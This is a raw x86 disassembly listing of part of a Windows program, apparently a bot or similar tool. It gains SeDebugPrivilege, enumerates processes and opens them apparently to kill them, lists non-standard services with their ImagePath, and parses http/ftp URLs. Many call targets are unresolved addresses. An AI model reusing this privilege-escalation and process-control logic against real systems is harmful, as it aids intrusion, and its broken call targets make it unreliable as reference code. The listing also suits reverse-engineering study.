lea ecx, [esp+38h+var_28]
push ecx
push 28h
nop
call near ptr 2760A5Eh
push eax
nop
call near ptr 28A1C72h
test eax, eax
jz short loc_42047F
loc_420420: ; CODE XREF: sub_4203D0+36j
cmp [esp+38h+var_28], esi
jz short loc_420483
lea edx, [esp+38h+var_1C]
mov [esp+38h+var_20], 1
push edx
push offset aSedebugprivile ; "SeDebugPrivilege"
push esi
mov [esp+44h+var_14], 2
nop
call near ptr 28B0000h
lea eax, [esp+38h+var_24]
lea ecx, [esp+38h+var_10]
push eax
mov eax, [esp+3Ch+var_28]
push ecx
lea edx, [esp+40h+var_20]
push 10h
push edx
push esi
push eax
call ebp
test eax, eax
jz short loc_420478
nop
call near ptr 27A0799h
cmp eax, 514h
jnz short loc_420483
mov ecx, [esp+38h+var_28]
push ecx
jmp short loc_42047D
; ---------------------------------------------------------------------------
loc_420478: ; CODE XREF: sub_4203D0+92j
mov edx, [esp+38h+var_28]
push edx
loc_42047D: ; CODE XREF: sub_4203D0+A6j
call edi
loc_42047F: ; CODE XREF: sub_4203D0+4Ej
mov [esp+38h+var_28], esi
loc_420483: ; CODE XREF: sub_4203D0+54j
; sub_4203D0+9Fj
mov eax, [esp+38h+arg_0]
push eax
push esi
push 411h
nop
call near ptr 2770000h
mov esi, eax
test esi, esi
jz short loc_4204A8
push 0
push esi
call near ptr 26F0000h
nop
push esi
mov bl, 1
call edi
loc_4204A8: ; CODE XREF: sub_4203D0+C8j
mov eax, [esp+38h+var_28]
test eax, eax
jz short loc_4204C7
push 0
push 0
lea ecx, [esp+40h+var_10]
push 10h
push ecx
push 0
push eax
call ebp
mov edx, [esp+38h+var_28]
push edx
call edi
loc_4204C7: ; CODE XREF: sub_4203D0+DEj
pop edi
pop esi
mov al, bl
pop ebp
pop ebx
add esp, 28h
retn
sub_4203D0 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 50h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_420530 proc near ; CODE XREF: sub_4011D6j
var_68 = dword ptr -68h
var_54 = byte ptr -54h
var_4C = dword ptr -4Ch
var_3C = byte ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_28 = byte ptr -28h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = byte ptr -4
arg_F4 = byte ptr 0F8h
arg_100 = byte ptr 104h
arg_10C4 = dword ptr 10C8h
arg_10D0 = dword ptr 10D4h
arg_1104 = dword ptr 1108h
arg_1118 = dword ptr 111Ch
mov eax, large fs:0
push 0FFFFFFFFh
push offset SEH_420530
push eax
mov eax, 1130h
mov large fs:0, esp
call sub_436840
push esi
push offset aPsapi_dll ; "PSAPI.DLL"
nop
call near ptr 2861D55h
test eax, eax
mov dword_50BB60, eax
jnz short loc_42057C
push offset aPsapi_dll ; "PSAPI.DLL"
nop
call near ptr 27C07EDh
test eax, eax
mov dword_50BB60, eax
jz loc_4206FA
loc_42057C: ; CODE XREF: sub_420530+32j
mov esi, dword_50F8A0
push offset aEnumprocesses ; "EnumProcesses"
push eax
call esi
mov dword_50BB64, eax
mov eax, dword_50BB60
push offset aEnumprocessmod ; "EnumProcessModules"
push eax
call esi
mov ecx, dword_50BB60
push offset aGetmodulefilen ; "GetModuleFileNameExA"
push ecx
mov dword_50BB68, eax
call esi
mov ecx, dword_50BB64
mov dword_50BB6C, eax
test ecx, ecx
jz loc_4206FA
mov edx, dword_50BB68
test edx, edx
jz loc_4206FA
test eax, eax
jz loc_4206FA
lea edx, [esp+30h+var_28]
lea eax, [esp+30h+arg_100]
push edx
push 1000h
push eax
call ecx
test eax, eax
jz loc_4206FA
mov ecx, dword ptr aUnknown ; "unknown"
mov eax, dword ptr aUnknown+4
mov edx, [esp+3Ch+var_34]
push edi
mov [esp+40h+var_C], ecx
mov [esp+40h+var_8], eax
mov ecx, 3Fh
mov eax, 0
lea edi, [esp+40h+var_4]
shr edx, 2
rep stosd
jz loc_4206E1
push ebx
mov ebx, [esp+44h+arg_1104]
push ebp
mov ebp, dword_50F874
lea edi, [esp+48h+arg_F4]
mov [esp+48h+var_38], edx
loc_42063F: ; CODE XREF: sub_420530+1A9j
mov ecx, [edi]
push ecx
push 0
push 410h
call ebp
mov esi, eax
test esi, esi
jz short loc_4206CD
lea edx, [esp+54h+var_38]
lea eax, [esp+54h+var_3C]
push edx
push 4
push eax
push esi
call dword_50BB68
test eax, eax
jz short loc_4206C6
mov edx, [esp+64h+var_4C]
lea ecx, [esp+64h+var_28]
push 104h
push ecx
push edx
push esi
call dword_50BB6C
lea ecx, [esp+74h+var_54]
call sub_401866
lea eax, [esp+74h+var_38]
lea ecx, [esp+74h+var_54]
push eax
mov [esp+78h+arg_10D0], 0
call sub_4015D7
mov ecx, [edi]
lea edx, [esp+74h+var_54]
mov [esp+35h], ecx
push edx
mov ecx, ebx
call sub_402167
; ---------------------------------------------------------------------------
lea ecx, [esp+74h+var_54]
mov [esp+74h+arg_10D0], 0FFFFFFFFh
call sub_401A6E
loc_4206C6: ; CODE XREF: sub_420530+136j
push esi
nop
call near ptr 28207DAh
loc_4206CD: ; CODE XREF: sub_420530+11Fj
mov eax, [esp+78h+var_68]
add edi, 4
dec eax
mov [esp+78h+var_68], eax
jnz loc_42063F
pop ebp
pop ebx
loc_4206E1: ; CODE XREF: sub_420530+EFj
pop edi
mov al, 1
pop esi
mov ecx, [esp+68h+arg_10C4]
mov large fs:0, ecx
add esp, 113Ch
retn
; ---------------------------------------------------------------------------
loc_4206FA: ; CODE XREF: sub_420530+46j
; sub_420530+8Cj ...
mov ecx, [esp+18h+arg_1118]
xor al, al
pop esi
mov large fs:0, ecx
add esp, 113Ch
retn
sub_420530 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 80h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4207A0 proc near ; CODE XREF: sub_401866j
push esi
mov esi, ecx
call sub_401424
mov eax, esi
pop esi
retn
sub_4207A0 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4207C0 proc near ; CODE XREF: sub_401A6Ej
jmp sub_401226
sub_4207C0 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4207E0 proc near ; CODE XREF: sub_402144j
var_518 = byte ptr -518h
var_514 = dword ptr -514h
var_510 = dword ptr -510h
var_50C = dword ptr -50Ch
var_508 = dword ptr -508h
var_504 = dword ptr -504h
var_500 = dword ptr -500h
var_4FC = dword ptr -4FCh
var_4F8 = byte ptr -4F8h
var_4E4 = dword ptr -4E4h
var_4E0 = dword ptr -4E0h
var_4DC = dword ptr -4DCh
var_4D8 = dword ptr -4D8h
var_4D4 = dword ptr -4D4h
var_4D0 = dword ptr -4D0h
var_4CC = dword ptr -4CCh
var_4C8 = dword ptr -4C8h
var_4C4 = dword ptr -4C4h
var_4C0 = dword ptr -4C0h
var_4BC = dword ptr -4BCh
var_4B8 = dword ptr -4B8h
var_4B4 = dword ptr -4B4h
var_4B0 = dword ptr -4B0h
var_4AC = dword ptr -4ACh
var_4A8 = dword ptr -4A8h
var_4A4 = dword ptr -4A4h
var_4A0 = dword ptr -4A0h
var_49C = dword ptr -49Ch
var_498 = dword ptr -498h
var_494 = dword ptr -494h
var_490 = dword ptr -490h
var_48C = dword ptr -48Ch
var_488 = dword ptr -488h
var_484 = dword ptr -484h
var_480 = dword ptr -480h
var_47C = dword ptr -47Ch
var_478 = dword ptr -478h
var_474 = dword ptr -474h
var_470 = dword ptr -470h
var_46C = dword ptr -46Ch
var_468 = dword ptr -468h
var_464 = dword ptr -464h
var_460 = dword ptr -460h
var_45C = dword ptr -45Ch
var_458 = dword ptr -458h
var_454 = dword ptr -454h
var_450 = dword ptr -450h
var_44C = dword ptr -44Ch
var_448 = dword ptr -448h
var_444 = dword ptr -444h
var_440 = dword ptr -440h
var_43C = dword ptr -43Ch
var_438 = dword ptr -438h
var_430 = byte ptr -430h
var_41C = byte ptr -41Ch
var_408 = byte ptr -408h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_4 = dword ptr 8
push 0FFFFFFFFh
push offset SEH_4207E0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 50Ch
push ebx
push ebp
xor ebx, ebx
push 80000000h
push ebx
push ebx
call near ptr 28E09F4h
nop
mov ebp, eax
cmp ebp, ebx
mov [esp+520h+var_500], ebp
jnz short loc_42082F
pop ebp
xor al, al
pop ebx
mov ecx, [esp+518h+var_C]
mov large fs:0, ecx
add esp, 518h
retn
; ---------------------------------------------------------------------------
loc_42082F: ; CODE XREF: sub_4207E0+34j
push esi
push edi
lea ecx, [esp+528h+var_4FC]
mov [esp+528h+var_4E4], offset aAudiosrv ; "AudioSrv"
mov [esp+528h+var_4E0], offset aBrowser ; "Browser"
mov [esp+528h+var_4DC], offset aCryptsvc ; "CryptSvc"
mov [esp+528h+var_4D8], offset aDhcp ; "Dhcp"
mov [esp+528h+var_4D4], offset aDmserver ; "dmserver"
mov [esp+528h+var_4D0], offset aDnscache ; "Dnscache"
mov [esp+528h+var_4CC], offset aErsvc ; "ERSvc"
mov [esp+528h+var_4C8], offset aEventlog ; "Eventlog"
mov [esp+528h+var_4C4], offset aEventsystem ; "EventSystem"
mov [esp+528h+var_4C0], offset aFastuserswitch ; "FastUserSwitchingCompatibility"
mov [esp+528h+var_4BC], offset aHelpsvc ; "helpsvc"
mov [esp+528h+var_4B8], offset aLanmanserver ; "lanmanserver"
mov [esp+528h+var_4B4], offset aLanmanworkstat ; "lanmanworkstation"
mov [esp+528h+var_4B0], offset aLmhosts ; "LmHosts"
mov [esp+528h+var_4AC], offset off_44432C
mov [esp+528h+var_4A8], offset aMessenger ; "Messenger"
mov [esp+528h+var_4A4], offset aNetman ; "Netman"
mov [esp+528h+var_4A0], offset aNla ; "Nla"
mov [esp+528h+var_49C], offset aPlugplay ; "PlugPlay"
mov [esp+528h+var_498], offset aPolicyagent ; "PolicyAgent"
mov [esp+528h+var_494], offset aProtectedstora ; "ProtectedStorage"
mov [esp+528h+var_490], offset aRasman ; "RasMan"
mov [esp+528h+var_48C], offset aRpcss ; "RpcSs"
mov [esp+528h+var_488], offset aSamss ; "SamSs"
mov [esp+528h+var_484], offset aSchedule ; "Schedule"
mov [esp+528h+var_480], offset aSeclogon ; "seclogon"
mov [esp+528h+var_47C], offset aSens ; "SENS"
mov [esp+528h+var_478], offset aShellhwdetecti ; "ShellHWDetection"
mov [esp+528h+var_474], offset aSpooler ; "Spooler"
mov [esp+528h+var_470], offset aSsdpsrv ; "SSDPSRV"
mov [esp+528h+var_46C], offset aStisvc ; "stisvc"
mov [esp+528h+var_468], offset aTapisrv ; "TapiSrv"
mov [esp+528h+var_464], offset aTermservice ; "TermService"
mov [esp+528h+var_460], offset aTrkwks ; "TrkWks"
mov [esp+528h+var_45C], offset aUploadmgr ; "uploadmgr"
mov [esp+528h+var_458], offset aUpnphost ; "upnphost"
mov [esp+528h+var_454], offset aW32time ; "W32Time"
mov [esp+528h+var_450], offset aWebclient ; "WebClient"
mov [esp+528h+var_44C], offset aWinmgmt ; "winmgmt"
mov [esp+528h+var_448], offset aWzcsvc ; "WZCSVC"
mov [esp+528h+var_444], offset aWuauserv ; "wuauserv"
mov [esp+528h+var_440], offset aSrservice ; "srservice"
mov [esp+528h+var_43C], offset aThemes ; "Themes"
mov [esp+528h+var_438], ebx
mov [esp+528h+var_510], ebx
call sub_401424
lea eax, [esp+528h+var_510]
lea ecx, [esp+528h+var_514]
mov esi, dword_50F710
push eax
lea edx, [esp+52Ch+var_518]
push ecx
push edx
lea eax, [esp+534h+var_41C]
push ebx
push eax
push 1
push 30h
push ebp
mov [esp+548h+var_4], ebx
mov [esp+548h+var_50C], ebx
mov [esp+548h+var_504], 80h
call esi
mov ecx, [esp+524h+var_514]
push ecx
nop
call near ptr 77C2C407h
add esp, 4
mov edi, eax
lea edx, [esp+524h+var_50C]
lea eax, [esp+524h+var_510]
push edx
mov edx, [esp+528h+var_514]
lea ecx, [esp+528h+var_514]
push eax
push ecx
push edx
push edi
push 1
push 30h
push ebp
call esi
mov eax, [esp+524h+var_510]
mov [esp+524h+var_504], ebx
cmp eax, ebx
jbe loc_420B8F
mov ebp, dword_50F75C
loc_420A6B: ; CODE XREF: sub_4207E0+3A5j
mov eax, offset aAudiosrv ; "AudioSrv"
test eax, eax
jz short loc_420A97
lea esi, [esp+524h+var_4E0]
loc_420A78: ; CODE XREF: sub_4207E0+2B5j
mov ecx, [edi]
push ecx
push eax
nop
call near ptr 77C4624Eh
add esp, 8
test eax, eax
jz loc_420B73
mov eax, [esi+4]
add esi, 4
cmp eax, ebx
jnz short loc_420A78
loc_420A97: ; CODE XREF: sub_4207E0+292j
mov edx, [edi]
lea eax, [esp+524h+var_4F8]
push edx
push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Services\\%s"
push eax
call sub_40102D
add esp, 0Ch
lea ecx, [esp+524h+var_508]
push ecx
push 20019h
push ebx
lea ecx, [esp+530h+var_4F8]
call sub_401681
push eax
push 80000002h
call ebp
cmp eax, ebx
jz short loc_420AE3
mov edx, [edi]
lea eax, [esp+524h+var_4F8]
push edx
push offset aS????_exeUnkno ; "[%s] [????.exe] (Unknown key)"
push eax
call sub_40102D
add esp, 0Ch
jmp short loc_420B3A
; ---------------------------------------------------------------------------
loc_420AE3: ; CODE XREF: sub_4207E0+2EAj
mov eax, [esp+524h+var_508]
lea ecx, [esp+524h+var_500]
lea edx, [esp+524h+var_408]
push ecx
push edx
push ebx
push ebx
push offset aImagepath ; "ImagePath"
push eax
nop
call near ptr 28C0000h
cmp eax, ebx
jz short loc_420B1D
mov ecx, [edi]
lea edx, [esp+524h+var_4F8]
push ecx
push offset aS????_exe ; "[%s] [????.exe]"
push edx
call sub_40102D
add esp, 0Ch
jmp short loc_420B3A
; ---------------------------------------------------------------------------
loc_420B1D: ; CODE XREF: sub_4207E0+324j
mov ecx, [edi]
lea eax, [esp+524h+var_408]
push eax
push ecx
lea edx, [esp+52Ch+var_4F8]
push offset aSS ; "[%s] [%s]"
push edx
call sub_40102D
add esp, 10h
loc_420B3A: ; CODE XREF: sub_4207E0+301j
; sub_4207E0+33Bj
lea eax, [esp+524h+var_4F8]
lea ecx, [esp+524h+var_430]
push eax
call sub_4014C9
mov ecx, [esp+524h+arg_4]
push eax
mov byte ptr [esp+528h], 1
call sub_401325
; ---------------------------------------------------------------------------
lea ecx, [esp+524h+var_430]
mov [esp+524h], bl
call sub_401226
loc_420B73: ; CODE XREF: sub_4207E0+2A7j
mov eax, [esp+524h+var_504]
mov ecx, [esp+524h+var_510]
inc eax
add edi, 24h
cmp eax, ecx
mov [esp+524h+var_504], eax
jb loc_420A6B
mov ebp, [esp+524h+var_4FC]
loc_420B8F: ; CODE XREF: sub_4207E0+27Fj
push ebp
nop
call near ptr 28F0000h
lea ecx, [esp+528h+var_4FC]
mov [esp+528h+var_4], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+528h+var_C]
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
mov large fs:0, ecx
add esp, 518h
retn
sub_4207E0 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 100h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_420CD0 proc near ; CODE XREF: sub_4015EBj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
push esi
mov esi, [esp+4+arg_0]
push eax
push esi
push 0
nop
call near ptr 2861D55h
push eax
call near ptr 2861191h
nop
mov eax, esi
pop esi
retn
sub_420CD0 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_420D00 proc near ; CODE XREF: sub_401A28j
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_4]
push ebx
mov [ebp+var_4], 0
mov [ebp+arg_4], eax
femms
mov ecx, [ebp+arg_4]
mov edx, [ebp+arg_0]
mov ebx, [ebp+var_4]
cmp ecx, 2
js short loc_420D39
loc_420D22: ; CODE XREF: sub_420D00+32j
xor eax, eax
mov ax, [edx]
add ebx, eax
sub ecx, 2
add edx, 2
cmp ecx, 1
jg short loc_420D22
cmp ecx, 0
jz short loc_420D4A
loc_420D39: ; CODE XREF: sub_420D00+20j
; sub_420D00+48j
xor eax, eax
mov al, [edx]
add ebx, eax
sub ecx, 1
add edx, 1
cmp ecx, 0
jg short loc_420D39
loc_420D4A: ; CODE XREF: sub_420D00+37j
mov [ebp+var_4], ebx
mov eax, [ebp+var_4]
shr eax, 10h
mov ebx, [ebp+var_4]
and ebx, 0FFFFh
add eax, ebx
mov ebx, eax
shr ebx, 10h
add eax, ebx
mov [ebp+var_4], eax
femms
mov eax, [ebp+var_4]
pop ebx
not eax
mov esp, ebp
pop ebp
retn
sub_420D00 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_420DA0: ; CODE XREF: ___:00401019j
mov eax, [esp+4]
mov dword_50BB54, eax
mov eax, offset dword_50BB54
retn
; ---------------------------------------------------------------------------
db 90h
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_420DC0: ; CODE XREF: ___:00401771j
push ebx
push ebp
push esi
mov esi, [esp+10h]
push edi
mov edi, dword_50FAA0
push esi
call edi
mov ebp, dword_50FA98
push 2
push 0
push esi
mov ebx, eax
call ebp
push esi
call edi
push 0
push ebx
push esi
mov edi, eax
call ebp
add esp, 20h
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
retn
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_420E10 proc near ; CODE XREF: sub_401938j
var_84 = byte ptr -84h
var_6C = byte ptr -6Ch
var_54 = byte ptr -54h
var_3C = byte ptr -3Ch
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, large fs:0
push 0FFFFFFFFh
push offset SEH_420E10
push eax
mov large fs:0, esp
sub esp, 78h
push ebx
push esi
mov esi, [esp+8Ch+arg_0]
xor ebx, ebx
cmp esi, ebx
push edi
jnz short loc_420E3F
xor al, al
jmp loc_421419
; ---------------------------------------------------------------------------
loc_420E3F: ; CODE XREF: sub_420E10+26j
lea ecx, [esp+90h+var_84]
call sub_401424
push esi
lea ecx, [esp+94h+var_84]
mov [esp+94h+var_4], ebx
call sub_4015D7
push offset asc_443C84 ; ":"
lea eax, [esp+94h+var_54]
push ebx
push eax
lea ecx, [esp+9Ch+var_84]
call sub_4016AE
mov esi, [esp+90h+arg_4]
push eax
mov ecx, esi
mov byte ptr [esp+94h+var_4], 1
call sub_401FBE
lea ecx, [esp+90h+var_54]
mov byte ptr [esp+90h+var_4], bl
call sub_401226
push offset aHttp ; "http"
mov ecx, esi
call sub_4012EE
test eax, eax
jz short loc_420ECF
push offset aFtp ; "ftp"
mov ecx, esi
call sub_4012EE
test eax, eax
jz short loc_420ECF
lea ecx, [esp+90h+var_84]
mov [esp+90h+var_4], 0FFFFFFFFh
call sub_401226
xor al, al
jmp loc_421419
; ---------------------------------------------------------------------------
loc_420ECF: ; CODE XREF: sub_420E10+92j
; sub_420E10+A2j
push offset asc_444400 ; "/"
lea ecx, [esp+94h+var_54]
push 1
push ecx
lea ecx, [esp+9Ch+var_84]
call sub_4016AE
push 40h
mov ecx, eax
mov byte ptr [esp+94h+var_4], 2
call sub_401D20
lea ecx, [esp+90h+var_54]
mov edi, eax
mov byte ptr [esp+90h+var_4], bl
call sub_401226
cmp edi, ebx
push offset asc_444400 ; "/"
push 1
jz loc_42120C
lea edx, [esp+98h+var_24]
lea ecx, [esp+98h+var_84]
push edx
call sub_4016AE
push offset dword_4437F8
lea ecx, [esp+94h+var_3C]
push 1
push ecx
mov ecx, eax
mov byte ptr [esp+9Ch+var_4], 3
call sub_4016AE
push offset asc_443C84 ; ":"
lea edx, [esp+94h+var_54]
push ebx
push edx
mov ecx, eax
mov byte ptr [esp+9Ch+var_4], 4
call sub_4016AE
lea edi, [esi+15h]
push eax
mov ecx, edi
mov byte ptr [esp+94h+var_4], 5
call sub_401FBE
lea ecx, [esp+90h+var_54]
mov byte ptr [esp+90h+var_4], 4
call sub_401226
lea ecx, [esp+90h+var_3C]
mov byte ptr [esp+90h+var_4], 3
call sub_401226
lea ecx, [esp+90h+var_24]
mov byte ptr [esp+90h+var_4], bl
call sub_401226
push offset byte_446F60
mov ecx, edi
call sub_4012EE
test eax, eax
jnz short loc_420FC9
lea ecx, [esp+90h+var_84]
mov [esp+90h+var_4], 0FFFFFFFFh
call sub_401226
xor al, al
jmp loc_421419
; ---------------------------------------------------------------------------
loc_420FC9: ; CODE XREF: sub_420E10+19Cj
push offset asc_444400 ; "/"
lea eax, [esp+94h+var_54]
push 1
push eax
lea ecx, [esp+9Ch+var_84]
call sub_4016AE
push offset dword_4437F8
lea ecx, [esp+94h+var_3C]
push 1
push ecx
mov ecx, eax
mov byte ptr [esp+9Ch+var_4], 6
call sub_4016AE
push offset asc_443C84 ; ":"
lea edx, [esp+94h+var_24]
push 1
push edx
mov ecx, eax
mov byte ptr [esp+9Ch+var_4], 7
call sub_4016AE
mov ecx, eax
mov byte ptr [esp+90h+var_4], 8
call sub_4017E4
push eax
nop
call near ptr 77C1BF18h
add esp, 4
lea ecx, [esp+90h+var_24]
mov [esi+54h], eax
mov byte ptr [esp+90h+var_4], 7
call sub_401226
lea ecx, [esp+90h+var_3C]
mov byte ptr [esp+90h+var_4], 6
call sub_401226
lea ecx, [esp+90h+var_54]
mov byte ptr [esp+90h+var_4], bl
call sub_401226
cmp [esi+54h], ebx
jnz short loc_421095
push offset aHttp ; "http"
mov ecx, esi
call sub_4012EE
test eax, eax
jnz short loc_42107E
mov dword ptr [esi+54h], 50h
loc_42107E: ; CODE XREF: sub_420E10+265j
push offset aFtp ; "ftp"
mov ecx, esi
call sub_4012EE
test eax, eax
jnz short loc_421095
mov dword ptr [esi+54h], 15h
loc_421095: ; CODE XREF: sub_420E10+255j
; sub_420E10+27Cj
push offset asc_444400 ; "/"
lea eax, [esp+94h+var_54]
push 1
push eax
lea ecx, [esp+9Ch+var_84]
call sub_4016AE
push offset dword_4437F8
lea ecx, [esp+94h+var_3C]
push ebx
push ecx
mov ecx, eax
mov byte ptr [esp+9Ch+var_4], 9
call sub_4016AE
push offset asc_443C84 ; ":"
lea edx, [esp+94h+var_24]
push ebx
push edx
mov ecx, eax
mov byte ptr [esp+9Ch+var_4], 0Ah
call sub_4016AE
lea edi, [esi+2Ah]
push eax
mov ecx, edi
mov byte ptr [esp+94h+var_4], 0Bh
call sub_401FBE
lea ecx, [esp+90h+var_24]
mov byte ptr [esp+90h+var_4], 0Ah
call sub_401226
lea ecx, [esp+90h+var_3C]
mov byte ptr [esp+90h+var_4], 9
call sub_401226
lea ecx, [esp+90h+var_54]
mov byte ptr [esp+90h+var_4], bl
call sub_401226
push offset byte_446F60
mov ecx, edi
call sub_4012EE
test eax, eax
jnz short loc_42114E
lea ecx, [esp+90h+var_84]
mov [esp+90h+var_4], 0FFFFFFFFh
call sub_401226
xor al, al
jmp loc_421419
; ---------------------------------------------------------------------------
loc_42114E: ; CODE XREF: sub_420E10+321j
push offset asc_444400 ; "/"
lea eax, [esp+94h+var_54]
push 1
push eax
lea ecx, [esp+9Ch+var_84]
call sub_4016AE
push offset dword_4437F8
lea ecx, [esp+94h+var_3C]
push ebx
push ecx
mov ecx, eax
mov byte ptr [esp+9Ch+var_4], 0Ch
call sub_4016AE
push offset asc_443C84 ; ":"
lea edx, [esp+94h+var_24]
push 1
push edx
mov ecx, eax
mov byte ptr [esp+9Ch+var_4], 0Dh
call sub_4016AE
lea edi, [esi+3Fh]
push eax
mov ecx, edi
mov byte ptr [esp+94h+var_4], 0Eh
call sub_401FBE
lea ecx, [esp+90h+var_24]
mov byte ptr [esp+90h+var_4], 0Dh
call sub_401226
lea ecx, [esp+90h+var_3C]
mov byte ptr [esp+90h+var_4], 0Ch
call sub_401226
lea ecx, [esp+90h+var_54]
mov byte ptr [esp+90h+var_4], bl
call sub_401226
push offset byte_446F60
mov ecx, edi
call sub_4012EE
test eax, eax
jnz loc_421333
lea ecx, [esp+90h+var_84]
mov [esp+90h+var_4], 0FFFFFFFFh
call sub_401226
xor al, al
jmp loc_421419
; ---------------------------------------------------------------------------
loc_42120C: ; CODE XREF: sub_420E10+100j
lea eax, [esp+98h+var_3C]
lea ecx, [esp+98h+var_84]
push eax
call sub_4016AE
push offset asc_443C84 ; ":"
lea ecx, [esp+94h+var_24]
push ebx
push ecx
mov ecx, eax
mov byte ptr [esp+9Ch+var_4], 0Fh
call sub_4016AE
lea edi, [esi+15h]
push eax
mov ecx, edi
mov byte ptr [esp+94h+var_4], 10h
call sub_401FBE
lea ecx, [esp+90h+var_24]
mov byte ptr [esp+90h+var_4], 0Fh
call sub_401226
lea ecx, [esp+90h+var_3C]
mov byte ptr [esp+90h+var_4], bl
call sub_401226
push offset byte_446F60
mov ecx, edi
call sub_4012EE
test eax, eax
jnz short loc_421293
lea ecx, [esp+90h+var_84]
mov [esp+90h+var_4], 0FFFFFFFFh
call sub_401226
xor al, al
jmp loc_421419
; ---------------------------------------------------------------------------
loc_421293: ; CODE XREF: sub_420E10+466j
push offset asc_444400 ; "/"
lea edx, [esp+94h+var_3C]
push 1
push edx
lea ecx, [esp+9Ch+var_84]
call sub_4016AE
push offset asc_443C84 ; ":"
lea ecx, [esp+94h+var_24]
push 1
push ecx
mov ecx, eax
mov byte ptr [esp+9Ch+var_4], 11h
call sub_4016AE
mov ecx, eax
mov byte ptr [esp+90h+var_4], 12h
call sub_4017E4
push eax
nop
call near ptr 77C1BF18h
add esp, 4
lea ecx, [esp+90h+var_24]
mov [esi+54h], eax
mov byte ptr [esp+90h+var_4], 11h
call sub_401226
lea ecx, [esp+90h+var_3C]
mov byte ptr [esp+90h+var_4], bl
call sub_401226
cmp [esi+54h], ebx
jnz short loc_421333
push offset aHttp ; "http"
mov ecx, esi
call sub_4012EE
test eax, eax
jnz short loc_42131C
mov dword ptr [esi+54h], 50h
loc_42131C: ; CODE XREF: sub_420E10+503j
push offset aFtp ; "ftp"
mov ecx, esi
call sub_4012EE
test eax, eax
jnz short loc_421333
mov dword ptr [esi+54h], 15h
loc_421333: ; CODE XREF: sub_420E10+3DBj
; sub_420E10+4F3j ...
push offset asc_444400 ; "/"
lea ecx, [esp+94h+var_84]
call sub_4013E3
lea edx, [esp+90h+var_6C]
push eax
push edx
lea ecx, [esp+98h+var_84]
call sub_401E2E
push offset asc_444400 ; "/"
lea ecx, [esp+94h+var_6C]
mov byte ptr [esp+94h+var_4], 13h
call sub_4013E3
push eax
lea eax, [esp+94h+var_24]
push eax
lea ecx, [esp+98h+var_6C]
call sub_401E2E
push eax
lea ecx, [esp+94h+var_6C]
mov byte ptr [esp+94h+var_4], 14h
call sub_40200E
lea ecx, [esp+90h+var_24]
mov byte ptr [esp+90h+var_4], 13h
call sub_401226
push offset asc_444400 ; "/"
lea ecx, [esp+94h+var_6C]
call sub_4013E3
lea ecx, [esp+90h+var_24]
push eax
push ecx
lea ecx, [esp+98h+var_6C]
call sub_401E2E
push eax
lea ecx, [esp+94h+var_6C]
mov byte ptr [esp+94h+var_4], 15h
call sub_40200E
lea ecx, [esp+90h+var_24]
mov byte ptr [esp+90h+var_4], 13h
call sub_401226
add esi, 58h
push offset asc_444400 ; "/"
mov ecx, esi
call sub_4015D7
lea edx, [esp+90h+var_6C]
mov ecx, esi
push edx
call sub_4016BD
lea ecx, [esp+90h+var_6C]
mov byte ptr [esp+90h+var_4], bl
call sub_401226
lea ecx, [esp+90h+var_84]
mov [esp+90h+var_4], 0FFFFFFFFh
call sub_401226
mov al, 1
loc_421419: ; CODE XREF: sub_420E10+2Aj
; sub_420E10+BAj ...
mov ecx, [esp+90h+var_C]
pop edi
pop esi
pop ebx
mov large fs:0, ecx
add esp, 84h
retn
sub_420E10 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 190h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4215D0 proc near ; CODE XREF: sub_401AEBj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
mov edx, [esp+arg_4]
push ebx
mov ebx, [esp+4+arg_C]
push ebp
sub edx, ebx
xor eax, eax
push esi
push edi
test edx, edx
jle short loc_4215FB
loc_4215E4: ; CODE XREF: sub_4215D0+29j
mov esi, [esp+10h+arg_0]
mov edi, [esp+10h+arg_8]
add esi, eax
mov ecx, ebx
xor ebp, ebp
repe cmpsb
jz short loc_421602
inc eax
cmp eax, edx
jl short loc_4215E4
loc_4215FB: ; CODE XREF: sub_4215D0+12j
pop edi
pop esi
pop ebp
xor al, al
pop ebx
retn
; ---------------------------------------------------------------------------
loc_421602: ; CODE XREF: sub_4215D0+24j
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
retn
sub_4215D0 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_421620: ; CODE XREF: ___:0040209Aj
mov eax, 2010h
call sub_436840
mov eax, [esp+2018h]
push ebp
push esi
dec eax
push edi
jz short loc_42166D
dec eax
jz short loc_421647
dec eax
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 2010h
retn
